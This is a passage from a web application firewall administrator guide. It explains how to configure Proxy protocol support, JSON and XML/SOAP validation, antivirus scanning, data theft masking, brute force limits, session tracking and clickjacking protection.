is deployed as a TCP proxy for HTTP servers connected downstream. The disadvantage of this behavior of the ELB is the loss of the client IP
information when the traffic stream crosses the ELB’s TCP proxy. The ELB rewrites the source IP of all traffic to match its own IP.
To get around this limitation, the Amazon ELB has added support for the Proxy protocol. This protocol enables the ELB to relay client IP
information to the next hop. The Barracuda Web Application Firewall now support parsing of the Proxy protocol to extract the client IP and port
information. This information can then be used for logging.
Enabling WebSocket for a Service
Both the basic WebSocket feature as well as the Amazon ELB feature can be enabled or disabled at the service level from the web interface.
Note that, as of today, the Amazon ELB feature can be enabled only if the WebSocket feature is also enabled. Perform the following steps to
enable WebSocket and Amazon ELB:

2. In the Advanced Settings section, set Show Advanced Settings to Yes and click Save.
4. In the Services section, click Edit next to the service to which you want to enable WebSocket.
a. Scroll down to the Advanced Configuration section.
b. Set Enable WebSocket to Yes.
c. Set Enable Proxy Protocol to Yes.
d. Click Save.

JSON Security
JavaScript Object Notation (JSON) security performs deep inspection of incoming packets/requests for web applications that use the JSON
protocol to exchange data over HTTP. Many applications including mobile applications exchange data with the servers using JSON (RFC 4627)
which is a light weight data-interchange format. JSON-based application can be attacked in multiple ways such as, sending data in an improper
format or embedding attack vectors in the data. It is therefore important for applications using JSON format to validate the inputs before being
processed. The Barracuda Web Application Firewall enforces input validations and other security checks to ensure that attacks are not tunneled
inside HTTP requests with JSON content.
Example:
If a traditional application sends an “application/x-www-form-urlencoded” post request with the following URL query parameters:
First-name=John&Last-name=Peter&email=john@fastmail.com
The same application in JSON could form the “application/json” post request with JSON objects in the request body as shown
below:
{“First-name”:”John”,”Last-name”:”Peter”,”email”:”john@fastmail.com”}
The JSON key, value pairs in the request body require the same level of input validation as the URL query parameters.
JSON security is applicable only to HTTP and HTTPS services on the Barracuda Web Application Firewall.
When a service is created, a default JSON profile is automatically created by the system for that service on the WEBSITES > JSON Security pa
ge. By default, this JSON profile applies to the whole URL space of the service, however you can create multiple JSON profiles for different URL
spaces within the service.
If a request contains Content-Type as “application/json”, the Barracuda Web Application Firewall validates the request against the JSON profile(s)
associated with the service and enforces the configured policy. The Barracuda Web Application Firewall enforces a JSON policy based on the
following settings:
URL Match
The URL compared to the URL in the request. The URL should start with a "/" and can have at most one " * " anywhere in the URL. For example,
/netbanking.html; any request matching this URL is required to authenticate before accessing this page. A value of “/*” means that the access
control rule (ACL) applies for all URLs in that domain.
Host Match
The host name compared to host in the request. This can be either a specific host match or a wildcard host match with a single * anywhere in the
host name. For example, *.example.com, any request matching this host is required to authenticate before accessing this page.
Mode
The service Mode takes precedence over the JSON profile mode. When Mode is set to Active, any request that violates JSON profile settings is
blocked if the Mode of the service on the BASIC > Services page is also set to Active. If the Mode of the service is Passive and the request
violates JSON profile settings, the request is allowed to pass through, but logs request errors on the BASIC > Web Firewall Logs page.
The service Mode takes precedence over the JSON profile mode i.e., if the JSON profile mode is Active and the service mode is Passive, all
requests are allowed to pass through, but logs request errors on the BASIC > Web Firewall Logs page. If the mode is Active in the JSON profile
and service, any request that violates JSON profile settings is blocked.
When Mode is set to Active, any request that violates JSON profile settings is blocked if the Mode of the service on the BASIC > Services page
is also set to Active. If the Mode of the service is Passive and the request violates JSON profile settings, the request is allowed to pass through,
but logs request errors on the BASIC > Web Firewall Logs page.
Validate Key
Set this to Yes to enforce validation on keys in the JSON request.
JSON Policy
Select the policy to validate the requests matching this JSON profile. You can create a new policy and associate with the JSON profile or
fine-tune the default policy by clicking Edit next to it under JSON Policies on the WEBSITES > JSON Security page.

Ignore Keys
Add the keys that needs to be exempted from JSON security checks. This is an exact match; wildcard is not supported, that is, a value with "*"
does not work like a wildcard.
Methods
Enter the methods to be matched in the request for JSON data inspection. The methods that are allowed to be configured are:
GET,POST,PUT,HEAD,OPTIONS,DELETE,TRACE,ALL. Note: If set to "ALL", JSON data inspection will be done on all requests with
"application/json" as content type.
Blocked Attack Types/Custom Blocked Attack Types

Attack Types are malicious patterns that can be checked for in a JSON request. Select attack types that needs to be matched in the JSON
request.
Exception Patterns
Specify patterns that needs to be exempted from JSON security checks.
Steps to Configure JSON Security

To add a JSON security policy, perform the following steps:
1. Go to the WEBSITES > JSON Security page, JSON Security section.

2. Identify the service to which you want to add a JSON security policy, and click Add JSON Profile next to it.
3. In the Add JSON Policy page, enter a name for the JSON profile, set the Status to On, specify values for other parameters as required
and click Save.
Related Articles:
JSON Key Profile

JSON Key Profile
A JSON key profile is used to validate keys present in JSON requests. Multiple key profiles can be configured with different JSON key validation
settings, and associated with the JSON profile.
For example, consider a JSON request with the following parameters:
"First-name":"John",
"Last-name":"Kerry",
"Email":"johnkerry@barracuda.com",
"Age":"25",
"Comments":"<script>John Details</script>"
Where:
The JSON keys:
“First-name”, “Last-name” and “Email” can have string values

“Age” can have a numeric value
“Comments” can have different metacharacters including the script tag.
In the example above, “Age” and “Comments” keys are of different value types (i.e. “Number” and “Any" respectively) for which JSON key profiles
can be defined and associated with the JSON profile. A key in the JSON request can include different types of values, such as String, Number,
Array, Object, or Any. If you want to validate the values of a specific key, you can define rules for the key using Add Key Profile on the WEBSIT
ES > JSON Security page, and associate with the JSON profile.
You can associate key value class to define the security policies for that particular key profile. For example, if key value class 'string' is selected,
the Barracuda Web Application Firewall ensures that the respective key is checked for denied metacharacters, SQL, XSS, OS injection attack,
etc. If the key value class “login” is selected, the Barracuda Web Application Firewall will validate to ensure that only alphanumeric values are
sent and check the respective key values for SQL Injection attacks.
If a service does not have a JSON Key Profile associated, but the JSON Profile configuration has the “Validate Key” configuration set to “Yes”,
then keys seen in the JSON request are validated against the attack types selected in the JSON Profile. However, individual key values will not
be validated for attacks.
Steps to Add a JSON Key Profile:
1. Go to the WEBSITES > JSON Security page.

2. In the JSON Security section, click Add Key Profile next to the JSON profile.
3. In the Add JSON Key Profile window:
a. Status: Set to On.
b. Key: Specify the key that needs to be validated in the JSON request.
c. Value Type: Select the type of value (String, Array, Number, Object, or Any) associated with the specified key.
d. Specify values for other parameters as required.
e. Click Save.

Web Services and XML Firewall Protection
In this Section
Web Services
Configuring XML Firewall to Protect a Web Application
Web Service Validation

Web Services
A web application is designed to take input from a human user and display output to a human user. In contrast, a web service is an application
that is accessible on the web but is intended to be used by another application. Web services share business logic, data, and processes through
a programmatic interface. Web services allow businesses to communicate with each other and with clients without requiring inside knowledge of
each other's infrastructure and security configurations. They are used to assist organizations in streamlining business processes, providing
increased efficiency and reduced application integration costs.
In this article:
Web Services Implementation

WSDL
Web Service Vulnerabilities
Web Service Protections
Web Services Implementation
Web services use a universal language to send data and instructions to one another over the Internet with no translation required. The term web
service describes a standardized way of integrating web based applications using the Extensible Markup Language (XML), Simple Object Access
Protocol (SOAP), Web Services Description Language (WSDL), and Universal Description, Discovery, and Integration (UDDI) open standards
over an Internet protocol (usually HTTP). XML is used to tag the data, SOAP is used to exchange the data, WSDL is used for describing the
services available, and UDDI is used for listing available services.
For example, consider two banks needing to share account balance information. Figure 14.1 illustrates the steps to share the data using a web
service:
1. Bank A creates a web service description (in the XML-based WSDL format) that describes web service required inputs and outputs (for
example, the customer's account number and password) and sends a SOAP request to register it with a UDDI service.
2. Bank B sends a SOAP request to the UDDI service to look up information about Bank A's web service. (While using a UDDI service is
common practice, it is not a requirement for a web service.)
3. Bank B sends a SOAP request to Bank A's web service to retrieve the WSDL definition and bind to that web service.
4. Bank B sends a SOAP request to Bank A's web service that conforms to the WSDL definition.
In this example, access to account information must be restricted to approved intermediaries, requiring authentication through passwords, public
keys, or other mechanisms. In addition, the bank might want to prioritize requests (such as by how much customers are paying for the service),
confirm that payment for the service is received, or send a receipt. Each function requires that information be secure from unauthorized access,
attack, and data theft.

A business can combine multiple web services to accomplish a task. For example, a travel service might define one web service for interacting
with a client application, another web service for communicating with a credit card service (with the travel service acting as the client of the credit
card service), another for communicating with one or more hotel services, and another for communicating with one or more airline services.
WSDL
A web service description (WSDL document) is a human-readable document, written from the web service perspective, that describes the
expectations and functionality of a particular web service, and clarifies how client and service should interact. A potential client reads the web
service description, to learn how to correctly interact with the service.
WSDL is an XML grammar for describing network services as collections of communication end points capable of exchanging messages. WSDL
service definitions provide documentation for distributed systems and serve as a recipe for automating the details of application communications.
Web Service Vulnerabilities
Web services are vulnerable to many of the same attack risks as other web applications, but also face additional vulnerabilities including:
Publicly available WSDL documents provide a blueprint for the service. The document details messaging request and response,
expected parameters (including data type), and available operations for the service. By analyzing its WSDL document, a hacker not only
knows exactly what the service is supposed to do, but also which parts are open to attack through techniques such as malformed SOAP
messages and other XML parser attacks. A WSDL document may reveal what tools generated the Web service, providing attackers with
more insight into potential vulnerabilities.
SOAP and XML are standards used to wrap data for easy consumption. SOAP envelops information to deliver messages seamlessly
between applications. XML includes metadata to describe the structure of the information. CDATA is used to delineate information in the
message that should not be parsed. Malicious code or characters can be embedded in the elements or CDATA, allowing unintentional
display or execution by the receiving application or service. XML encapsulation (a form of cross site scripting) can embed commands that
tie up system resources or gain unauthorized access.
XML-based attacks can overload XML parsers which process SOAP messages. Attackers that put in recursive relationships to create
entity expansions, bogus parameters, or even significant amounts of white space, can cause XML parsers to be overloaded or to behave
unpredictably.
Any type of application behind a web service interface, including a packaged application, an internally developed application, a desktop
application, or a legacy mainframe application carries its own security vulnerabilities. These inherent security risks are even more
exposed through a web service interface. Because each application type approaches security its own way, it’s a significant security
challenge to protect these services.
Web Service Protections
The following table describes possible web service attack techniques and the corresponding protection provided by the Barracuda Web
Technique Description of Attack Barracuda Web Application Firewall

Protection
Schema Poisoning Manipulating the WS schema to alter the Protects against schema poisoning by
data processed by the application. validating that content adheres to the defined
WSDL and schema.
XML Parameter Tampering Injection of malicious scripts or content into Protects against parameter tampering by
XML parameters. validating that parameter values are
consistent with the WSDL and schema
specifications.
Inadvertent XDoS Sending poorly encoded SOAP messages Inspects SOAP at the header, envelope, and
that cause the application to fail. message level to ensure proper structure
and content.
WSDL Scanning Scanning the WSDL (business API) to Uses web services cloaking to hide the true
uncover sensitive information about the internal URI of sensitive web services.
application data format.
Coercive Parsing Injection of malicious content into the XML. Utilizes real-time WS-I checking and content
inspection to block malicious payloads.
Oversized Payload Sending oversized files to create an XDoS Inspects transmitted data and enforces
attack (similar to a buffer overflow attack). element, document, and other maximum
sizes.

Recursive Payload Sending mass amounts of nested data to Validates WSDL and schema formats,
create an XDoS attack on the XML parser. inspects SOAP headers, envelopes, and
messages, and ensures that WS-I standards
are met.
SQL Injection Hiding a malicious SQL command inside a Utilizes real-time WS-I checking and content
SOAP wrapper attempting to uncover or inspection to compare to schema.
modify back-end data.
Replay Attacks Using repetitive SOAP messages to force an Includes request-level throttling technology
XDoS attack to ensure resources cannot reach a fail state.
External Entity Attack Parses XML input from untrusted sources Can suppress external URI references to
using an incorrectly configured XML parser. protect against external manipulation of data.
Information Disclosure Exposes unencrypted Web Service message Has extensive SSL security capabilities at
data to anyone watching application traffic. the ASIC level to ensure end to end
encryption of XML traffic.
Malicious Code Injection Delivers scripts embedded deep within Ensures SOAP messages conform to
SOAP messages directly to applications and customized policies.
databases.
Identity Centric Attack Forges credentials in an attempt to access Enforces authentication (basic or strong) at
sensitive data the SOAP message level.
Processing Instructions (PI) Uses PI (a text data section that is ignored

by the XML parser) to pass instructions to Can block requests containing Processing
applications. Instructions (PI).
Inline or external DTDs Uses DTDs (a text data section that is Can block requests containing both inline or
ignored by the XML parser) to pass external DTDs.
instructions to applications.
External References Uses requests containing external entities Can block requests containing external
including external URI references or external entities including external URI references or
DTDs (text data sections that are ignored by external DTDs.
the XML parser) to pass instructions to
applications.

Configuring XML Firewall to Protect a Web Application
The "XML Firewall" feature is available only in the Barracuda Web Application Firewall 660 and above.
Configure the XML Firewall with the following steps:
1. Turn on the XML Firewall on WEBSITES > XML Validations, by setting Enable XML Firewall to Yes.
2. Import the Schema file(s) and WSDL file for the web service you want to protect.
3. Bind the Imported Schema file(s) and WSDL file to the website; select the validations you wish to enforce and enable validation checking
for the website.
4. View or modify the Validation Settings for the XML features you choose to enforce.
Import the Schema file(s) and WSDL file for the Web Service
Import the Schema file(s), and then the WSDL file for your website on the WEBSITES > XML Validations page Import Schema/WSDL section
using the following steps:
1. Select the File Type you want to import: SCHEMA or WSDL.
Import all Schema files and WSDL references before importing the WSDL file.
2. Enter the Name you want to appear in the display list for this imported file. For example: Encoding.
3. Optionally, you can enter the Namespace you want to appear in the display list for this imported file. For example: http://schemas.xmlso
ap.org/soap/encoding.
4. Click Browse..., locate the desired file and select it.
5. Click Import to upload the file. It will appear in the Imported Schema/WSDLs display with the provided Name and Namespace.
Repeat the import process for all Schemas and WSDL references before importing the WSDL file.
Bind the Imported Schema file(s) and WSDL file to the Website
To bind the schema(s) and WSDL to the website, do the following:
1. Click Add next to the desired website in the WEBSITES > XML Validations, XML Protected URLs list to bind the imported WSDL to
the URL you want to protect. The Add Protected URL window appears. Do the following settings:
a. Data Format – You must choose SOAP if you want to enforce WS-I Validations or SOAP Validations. Otherwise, you may
choose XML to intercept generic XML data.
b. Enforce WSDL – Select the WSDL you want to bind to the website.
c. URLs - Enter the URL pattern you want to protect using XML Firewall. Note: Selectively choose URLs requiring SOAP or XML
validations to avoid introducing unnecessary latency in serving requests.
d. Direction – Select Requests, Responses or Both to be validated with the bound WSDL.
e. Enforce XML Validations – Set to Yes to enforce the settings configured on WEBSITES > XML Protection > XML Validation
Settings.
f. Enforce WS-I Validations – Set to Yes to enforce the settings configured on WEBSITES > XML Protection > WS-I Basic
Profile Assertions. Note: Data Format must be SOAP for this setting to apply.
g. Enforce SOAP Validations – Set to Yes to enforce the settings configured in WEBSITES > XML Protection > SOAP
Validations. Note: Data Format must be SOAP for this setting to apply.
h. Set Status to On to enable XML firewall validations for this website. To disable all of your Enforce ... Validations settings for
this website, set Status to Off.
2. Click Add to save your settings and bind them to the selected website.
3. Click Edit from WEBSITES > XML Validations, XML Protected URLs list by the desired website to change the enforcement
parameters, the direction of enforcement, or to turn off XML firewall for this website by setting Status to Off.
4. Click Delete to remove the WSDL binding on the web service.
View or Modify the Validation Settings for the XML Firewall
Default settings for validations are provided for the XML Firewall. You can edit those settings on the WEBSITES > XML Protection page of the
web interface.

Web Service Validation
XML Validation Settings
The XML Validation Settings allows you to set custom validation rules for XML requests or responses. For example, a rule that aborts request
processing if there are more than 50 total elements in the XML or limit the message size or total number of bytes, minimizing the chance of an
unknown attacker flooding the service with too much data.
SOAP Validations and the WS-I Basic Profile tests (described in the next sections) determine whether a SOAP message is valid, identifying
invalid messages as intrusions. Blocking the invalid messages is enabled through XML Validation Settings.
The XML validation parameters are set to default values which can be modified.
The XML requests which violates the XML validation rules are listed under the attack group xmlfwdos-violations on the SECURITY > Action
Policy page. Action policy specifies the action to be taken when a violation occurs. You can edit the default attack action settings for a policy.
WS-I Basic Profile Assertions
The Web Services Interoperability Organization (WS-I) Basic Profile Version 1.0 contains implementation guidelines for the core web services
specifications: XML 1.0, XML Schema 1.0, SOAP 1.1, and WSDL 1.1. These guidelines define how the specifications should be used to develop
inter-operable web services. The WS-I test tools Basic Profile Test Assertions can be used to verify that a web service conforms to these
requirements. The Barracuda Web Application Firewall performs these tests during run time to validate SOAP messages.
There are forty two test case parameters, all set to Yes by default, meaning the test is applied; a No setting would cause that test to be ignored.
You can modify existing settings.
XML requests violating the WS-I Basic Profile Assertions are listed under the attack group xmlfwwsi-assertion-failures on the SECURITY >
Action Policy page. Action policy specifies the action to be taken when a violation occurs. You can edit the default attack action settings to
implement the desired attack response.
SOAP Validations
SOAP is the transfer mechanism protocol for sending web service descriptions in an HTTP message. The SOAP validation parameters set the
SOAP validation checks to apply. (These checks verify the message adheres to SOAP standards.)
SOAP is a lightweight communication protocol for exchanging data using XML over HTTP. SOAP is a mechanism that provides communication
between web applications. SOAP is both platform independent and language independent. SOAP was developed as a W3C standard protocol.
SOAP is a call-response mechanism that operates in a client-server paradigm. The client application makes a call to the server, passing in
parameters, and the server provides a response. Both call and response are transported in the form of XML documents.
SOAP messages are susceptible to a number of potential attacks. Unintentionally exposing SOAP services could make the back-end server or
application vulnerable to attacks. These attacks include the same attacks as in HTTP, such as SQL injection, and buffer overflow attacks. SOAP
makes the back-end server more vulnerable because it allows actions to be invoked remotely on the back-end server.
There are four SOAP validation parameters, which are all set to No by default. You can edit the existing values setting them to Yes to validate
these SOAP standards.
The XML requests which violate the SOAP Validations are listed under the attack group xmlfw-soapviolations on the SECURITY > Action
Policy page. Action policy specifies the action to be taken when a violation occurs. You can edit the default attack action settings to implement
the desired attack response.

Advanced Security
In this Section:
Enabling Antivirus Protection for File Uploads and Downloads

Enabling Data Theft Protection
Enabling Brute Force Protection
How to Configure Session Tracking
Enabling Clickjacking Protection for a Service
Configuring User Defined Patterns
Regular Expression Notation
How to Clear Locked Out Clients
How to Configure a Web Scraping Policy

Enabling Antivirus Protection for File Uploads and Downloads
Virus scanning is enabled on a per URL basis. It should only be enabled for URLs which allow file uploads and downloads because virus
checking is a performance intensive task.
To enable Antivirus for file uploads/downloads
1. From the WEBSITES > Advanced Security page in the Advanced Security section, identify the service for which you want to enable
Antivirus checking.
2. Click Edit next to that Service. The Edit URL Policy window appears.
3. In the Edit URL Policy section:
a. Set Enable Virus Scan to Yes.
b. Set Status to On.
c. Set Mode to Active.
4. Click Save.
When Virus Scan is enabled for a Service, all requests passing through the Barracuda Web Application Firewall for that Service are scanned for
viruses, and any traffic containing viruses is blocked.
Antivirus Details
The Barracuda Web Application Firewall uses the Clam AV integrated Antivirus engine to scan files for embedded viruses and malware.
Barracuda Networks does its own research to create the AV signatures and push them out to all units with active Energize Updates subscriptions.
The Barracuda Web Application Firewall Antivirus engine supports all file types the Clam AV engine supports. Integration with the Antivirus
engine uses streaming, so chunks of data are sent to the AV engine as they are received. Once the AV engine returns scanned data, the data is
pushed to the back-end server.
The file size limitation for Antivirus scanning is currently set to 25Mb, set in the Clam engine so it knows what file size it should expect. Barracuda
Networks Technical Support can change the file size limit, however, customers do not have access to this configuration setting. The Clam engine
rejects the connection request for files that are too large. Files larger than the configured limit result in a log entry indicating the scan failed
because the file size was too large.

Enabling Data Theft Protection
Data theft protection prevents unauthorized disclosure of confidential information. Configuring data theft protection requires two steps:
Specify any at risk data elements handled by the web application using Security Policy.
Enable protection of these elements where needed, using URL Policy.
Sensitive data elements may require masking to prevent their unauthorized disclosure, or requests containing sensitive data may be blocked
altogether. Using Security Policy, you can configure any sensitive data elements which may need protection, along with the desired way to handle
them. These settings can then be used by any service associated with the security policy. URL policies applied to narrowly defined URL spaces
requiring this protection can individually enable it as needed. Other URL spaces operate without unnecessarily incurring the processing hit. To
optimize performance, enable data theft protection only for parts of the site known to carry sensitive information.
The SECURITY POLICIES > Data Theft Protection page allows configuration of Identity Theft data types for a Security Policy. You can enable
protection for specific URLs using the WEBSITES > Advanced Security page. Security Policy Data Theft settings are then enforced only for
configured URLs. While, Barracuda Energize Updates provides a set of default protected patterns such as credit card and social security
numbers, these can be expanded or customized, using ADVANCED > Libraries, to include other web application specific data patterns needing
protection from disclosure. Any configured pattern can be masked, or the response blocked altogether, if a protected pattern occurs in the server
response.
When Data Theft Protection is enabled, the Barracuda Web Application Firewall intercepts the response from the server and compares it to the
pattern listed in the ADVANCED > View Internal Patterns page and ADVANCED > Libraries page (if any custom identity theft patterns). If the
response matches any of the defined patterns, it is blocked or cloaked based on the Action (Block or Cloak) set. If action is set to Block, the
response sent by the server is blocked. If set to Cloak, a part of the data is cloaked that is, overwritten with "X"s.
When set to Block, the response is blocked according to the configured action for “Identity-theft-pattern-matched-in-response” in SECU
RITY POLICIES > Action Policy.
The default identity theft elements provided by the Barracuda Web Application Firewall are:
Credit Cards
Directory Indexing
Social Security Number (SSN)
Credit Cards and SSN
To prevent exposure of personal data such as Credit Card number and Social Security Number (SSN), select Block to block the response from
the server, Cloak to overwrite the characters based on values defined in the Initial Characters to Keep and Trailing Characters to Keep
parameters. By default, credit-card and ssn are set to Cloak.
Directory Indexing
If a web server is configured to display the list of all files within a requested directory, it may expose sensitive information. The Barracuda Web
Application Firewall prevents exposure of valuable data by blocking the response from the server. By default, directory indexing is set to Block.
Steps to Configure Data Theft Protection:
1. From the SECURITY POLICIES > Data Theft Protection page select the policy for which you want to enable data theft protection.
2. In the Configure Data Theft Protection section, specify values for the following fields:
a. Data Theft Element Name – Enter a name for the data theft element.
b. Enabled – Select Yes to use this data element to be matched in the server response pages. This data element is used for
matching server response pages only when Enable Data Theft Protection is also set to Yes on the WEBSITES > Advanced
Security page.
c. Identity Theft Type – Select the data type from the drop-down list that the element mentioned in Data Theft Element Name
belongs to. The default identity theft patterns (Credit Card, SSN and Directory Indexing) are associated to data types defined
under ADVANCED > View Internal Patterns > Identity Theft Patterns. If you want to associate a custom identity theft pattern
created on the ADVANCED > Libraries page, select <CUSTOM> from the drop-down list and then select customized identity
theft type from the Custom Identity Theft Type field below.
d. Custom Identity Theft Type – Select the customized identity theft type to be used from the drop-down list.
e. Action – If set to Block, the response sent by the server containing this data type is blocked. The Block mode should be used if
the server should never expose this information. In the Cloak mode, a part of the data is cloaked, that is, overwritten with X’s
based on Initial Characters to Keep and Trailing Characters to Keep.
f. Initial Characters to Keep – Enter the number of initial characters to be displayed to the user when the data of this data type is
identified in a server page. For example, an online shopping service displays a user’s credit card number 1234 0000 0000 5678.
If Initial Characters to Keep is set to 4, the credit card number is displayed as 1234 XXXX XXXX XXXX.
g. Trailing Characters to Keep – Enter the number of trailing characters to be displayed to the user when the data of this data
type is identified in a server page. For example, an online shopping service displays a user’s credit card number as 1234 0000
0000 5678. If Trailing Characters to Keep is set to 4, the credit card number is displayed as XXXX XXXX XXXX 5678.
3.

3. Click Add to add the above configuration settings.
Custom Identity Theft Patterns
The default data theft types are displayed under Protected Data Types in the SECURITY POLICIES > Data Theft Protection page. You can
also create custom identity theft data types on the ADVANCED > Libraries page to use.
Creating a Custom Identity Theft Pattern
1. Go to the ADVANCED > Libraries page, Identity Theft section, enter a name in the New Group field and click Add.
2. Click Add Pattern next to the created identify theft pattern group. The Identity Theft Patterns window appears. Specify values for the
following fields:
a. Pattern Name – Enter a name to identify the pattern.
b. Status – Set to On if you wish to use this pattern for pattern matching in the responses.
c. Pattern Regex – Define the regular expression of the pattern or click the Edit icon to select and insert the pattern.
d. Pattern Algorithm – Select the algorithm to associate with the pattern from the drop-down list.
e. Case Sensitive – Select Yes if you wish the pattern defined to be treated as case sensitive.
f. Pattern Description – (Optional). Enter the description for the pattern defined. Example, Visa credit card pattern. This indicates
the pattern used here is the visa credit card pattern.
3. Click Add.
Using a Custom Identity Theft Pattern
1. Go to the SECURITY POLICIES > Data Theft Protection page.

2. Select a policy from the Policy Name drop-down list.
3. In the Configure Data Theft Protection section, enter a name in the Data Theft Element Name text field.
4. Set Enabled to Yes to use this data element to be matched in the server response pages. This data element is used for matching server
response pages only when Enable Data Theft Protection is also set to Yes on the WEBSITES > Advanced Security page.
5. Select CUSTOM from the Identity Theft Type drop-down list.
6. Select the Identity theft pattern you created from the Custom Identity Theft Type drop-down list.
7. Set the Action to Block or Cloak. If set to Block, the response sent by the server containing this data type is blocked. The Block mode
should be used if the server is never expected to expose such information. In the Cloak mode, a part of the data is cloaked, that is,
overwritten with X’s based on Initial Characters to Keep and Trailing Characters to Keep.
8. If required, change the values of Initial Characters to Keep and Trailing Characters to Keep and click Add.
9. Now, you should bind this policy to a Service, so that any request coming to that service is matched with the pattern and then processed.
Turning on Data Theft Protection using URL Policy
To use Data Theft Protection for a requested URL, from the WEBSITES > Advanced Security page you must set Enable Data Theft Protection
to Yes for the appropriate URL Policy, either a URL policy matching the requested URL, or if the URL has no matching policy, for the default URL
Policy. When Enable Data Theft Protection is set to Yes for a requested URL, the Data Theft Protection settings from the Service's Security
Policy will be enforced for this request.

Enabling Brute Force Protection
Brute Force Protection
To enable Brute Force protection, edit the default URL policy from WEBSITES > Advanced Security. Brute Force attacks attempt unauthorized
access by repeatedly bombarding the system with guessed parameters.
Preventing Brute Force Attacks
Brute Force protection sets a maximum number of requests (all requests or only invalid requests) to a URL space from a single client, or from all
sources, within a configured time interval. It blocks offending clients from making further requests. You can specify exception clients for which no
maximum is enforced. Bruteforce protection prevents the following types of rate based attacks:
Brute force attempts to gain access – Repetitive login failures in quick succession may be an attempt to gain unauthorized access using
guessed credentials.
Brute force attempts to steal session tokens – Session tokens, authentication mechanisms for requests by already authenticated users,
can be guessed and stolen through repeated requests.
Distributed Denial of Service attacks (DDoS) – Repeated requests for the same resource can impair critical functionality by exhausting
server resources.
Vulnerability scanning tools – High rates of requests can probe web applications for weaknesses. Typically these tools execute a
database of commonly known and unknown (blind) attacks which are executed in quick succession.
Other Brute Force Attack Prevention

1. To detect brute force attacks against session management (too many sessions given out to a single IP address or range), use
session tracking.
2. To control the rate of requests to specific resources (URL spaces), and to provide different levels of service to different sets of
clients, use rate control pool.
On the WEBSITES > Advanced Security page, locate the desired URL policy and click Edit in the Options column next to it. Configure the
following values to configure protection from Brute Force attacks:
Enable Bruteforce Prevention – Set to Yes to enable bruteforce attack prevention for this URL policy.
Enable Invalid status code only – Set to Yes to monitor and count only invalid requests from a single client or from all sources. If set to
No, both valid and invalid requests from a single client or from all sources are counted. Requests exceeding the configured Max Allowed
Accesses Per IP and Max Allowed Accesses From All Sources are blocked.
When Enable Invalid Status Code Only is set to Yes, the Barracuda Web Application Firewall counts the requests with
invalid status code in the response. Status codes greater than 400 are considered invalid status codes, with the exception of
401 and 407.
Count Window – Specifies the time interval in seconds to which Max Allowed Accesses Per IP or Max Allowed Accesses From All
Sources applies. Range: 1 - 6000; Default: 60 (one minute).
Max Allowed Accesses Per IP – Specifies the maximum number of requests allowed to this web application per IP address. Range: 1 -
65535; Default: 10.
Max Allowed Accesses From All Sources – Specifies the maximum number of requests allowed to this web application from all
sources. Range: 1 - 65535; Default: 100.
Counting Criterion – Specifies whether requests from all sources, or requests per IP are counted. Values: Per IP, All Sources; Default:
Per IP.
Exception Clients – Specifies IP addresses for which no maximum number of accesses is enforced. You can enter a single IP address,
a range of IP addresses, or a combination of both with a comma (,) as a delimiter. The range of IP addresses must be separated with a
hyphen (-). This makes an exception list of client IPs (unlimited access users). This list should not have overlapping IP ranges. Values:
Suitable IP Range;
Click Save to save the above settings.

How to Configure Session Tracking
Session Tracking
A Session refers to all requests a single client makes to a server. A session is specific to the user and for each user a new session is created to
track all requests from that user. Every user has a unique session identified by a unique session identifier. Session Tracking enables the
Barracuda Web Application Firewall to limit the number of sessions originating from a particular client IP address in a given interval of time.
Limiting the session generation rate by client IP address helps prevent session-based Denial of Service (DoS) attacks. To configure Session
Tracking use WEBSITES > Advanced Security and choose Edit from Options. Specify the desired session protection fields:
New Session Count – Maximum number of new sessions allowed per IP address; Range: 1 - 65535; Default: 10.
Interval – The time in seconds for which the number of sessions cannot exceed the New Session Count setting; Range: 1 - 6000
seconds; Default: 60.
Session Identifiers – The token type used to recognize sessions. Choose from the list, or see Configuration of Session Identifiers to
add a Session Identifier.
Exception Clients: List clients which are exempted from this protection. IP address ranges should be separated by a "-" (hyphen).
Multiple ranges or IP addresses can be listed with "," (comma) separation. The list should not contain overlapping IP address ranges.
Status – Set to On to enable session tracking.
After configuring the above fields, click Save.
Configuration of Session Identifiers
Configuring session identifiers allows the Barracuda Web Application Firewall to recognize session information in requests and responses.To
create a new session identifier, perform the following steps:
1. Go to the ADVANCED > Libraries > Session Identifiers section.

2. Locate the desired identifier and click Edit, or to add a new identifier, click Add Session Identifiers.
3. Enter or modify the session Identifier Name. This name will appear in the list of Session Identifiers from which you choose when you
configure Session Tracking.
4. Enter or modify the following session token parameters: Token Name, Token Type, Start Delimiter, End Delimiter. For example,
“JSESSIONID=12345;” would be configured with session Token Name: JSESSIONID, Token Type: Parameter, Start Delimiter: = and
End Delimiter: ; to allow Barracuda Web Application Firewall to successfully extract the Session ID 12345.
5. Newly added or edited Session Identifiers appear in the Session Identifiers list on the Edit Session Tracking page when you choose the
Edit option on the WEBSITES > Advanced Security > Session Tracking section.

Enabling Clickjacking Protection for a Service
Clickjacking (also known as UI redressing and iframe overlay) is a malicious technique where a user is tricked into clicking on a button or link on a
website using hidden clickable elements inside an invisible iframe. This attack hijacks clicks intended for the visible page and routes the user to
an application and/or domain on another page. The Barracuda Web Application Firewall uses the X-Frame-Options HTTP response header to
detect and prevent iframe based UI redressing. The X-Frame-Options header is inserted to indicate whether a browser should be allowed to
render a page in a "iframe", and if allowed, the iframe origin that needs to be matched. The three values of the X-Frame-Options header are:
Never – The browser will not display the page if the page is within the iframe.
Same Origin – The browser allows the page to be displayed if the page within the iframe is from the same origin.
Allowed Origin – The browser allows the page specified in the Allowed Origin to be displayed when embedded in the iframe.
When “Clickjacking” is enabled for a Service, make sure NO Response Rewrite rule is configured with the header name
'X-Frame-Options' for that Service on the WEBSITES > Website Translations > HTTP Response Rewrite section. Also, if
the back-end server is inserting 'X-Frame Options' header in the response, then enabling Clickjacking or configuring Response
Rewrite rule is not needed.
If your website is rendered inside a iframe, then “Clickjacking” should not be turned On, as it will prevent rendering the website
inside the iframe. By default, Clickjacking is turned Off.
To enable Clickjacking protection for a Service:
Perform the following steps:
1. Go to the WEBSITES > Advanced Security page.

2. In the Clickjacking Protection section, identify the Service for which you want to enable clickjacking protection and click Edit next to it.
The Edit Clickjacking Protection window appears.
a. Set Status to On.
b. Select the appropriate option next to Render Page Inside Iframe to specify how the page should be rendered in a iframe.
c. If Render Page Inside Iframe is set to Allowed Origin, specify the page/URL in the Allowed Origin URI field that needs to be
displayed when embedded in the iframe.
3. Click Save.

Configuring User Defined Patterns
The Barracuda Web Application Firewall allows you to create customized data patterns which can be detected and handled according to
configured security settings.
The Barracuda Web Application Firewall uses regular expressions (regex) to define data type patterns. Custom data types can be defined using
